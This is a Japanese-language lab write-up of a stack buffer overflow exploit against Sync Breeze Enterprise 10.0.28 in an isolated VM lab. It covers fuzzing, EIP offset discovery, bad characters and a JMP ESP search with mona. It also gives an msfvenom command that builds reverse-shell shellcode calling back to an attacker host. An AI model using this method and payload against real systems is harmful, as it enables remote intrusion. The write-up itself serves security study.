教育目的で管理されたラボ環境における、古典的なスタックベースのバッファオーバーフロー脆弱性の研究。
このプロジェクトの目的は、以下をより深く理解することでした:
最初のステップは、脆弱性調査とエクスプロイト開発を目的として構成されたWindows 10仮想マシン内に
Sync Breeze Enterprise 10.0.28
をインストールすることでした。
安全かつ管理されたテストを確保するため、環境は分離されました。
標的機と攻撃機の両方の仮想マシンは、エクスプロイト実行中にシステム間の直接的なネットワーク通信を 可能にするため、ブリッジネットワークアダプタモードで構成されました。


デバッグツールを構成し、実行時のアプリケーションの動作を分析して、クラッシュ条件を観察しました。
クラッシュを引き起こすために必要なバッファサイズのおおよその値を特定するため、 アプリケーションに大量のバイト列を送信しました。
クラッシュの閾値を特定した後、発見したペイロードサイズを使用してアプリケーションを再度テストし、 脆弱性を確認しました。
命令ポインタ(EIP)を上書きするために必要な正確なオフセットを特定しました。
ユニークなパターンを生成します:
/usr/bin/msf-pattern_create -l <SIZE>
オフセットを特定します:
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>
ここで:
<SIZE> = ファジング中に発見されたペイロード長<EIP_VALUE> = EIPを上書きしているのが観察された4バイト値
アプリケーションが安全に処理できないバイトを特定するため、バッドキャラクタを特定しました。
ASLRが有効になっていないモジュール内に、適切な JMP ESP 命令を特定しました。
読み込まれたモジュールを列挙します:
!mona modules
JMP ESP を検索します:
!mona find -s "\xff\xe4" -m <MODULE_NAME>
静的メモリアドレスが存在するため、アプリケーション固有のDLLを優先しました。

制御されたバッファへの正しいリダイレクトを確認するため、ペイロードの実行フローを検証しました。
以前に特定したバッドキャラクタを除外して、シェルコードを生成しました。
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c
ペイロードの実行信頼性を高めるため、シェルコードの前にNOPスレッド(\x90)を追加しました。

最終的なエクスプロイトを組み立て、隔離されたラボ環境内で正常にテストしました。
このプロジェクトは、隔離された実験室環境内で、教育および研究目的専用に開発されました。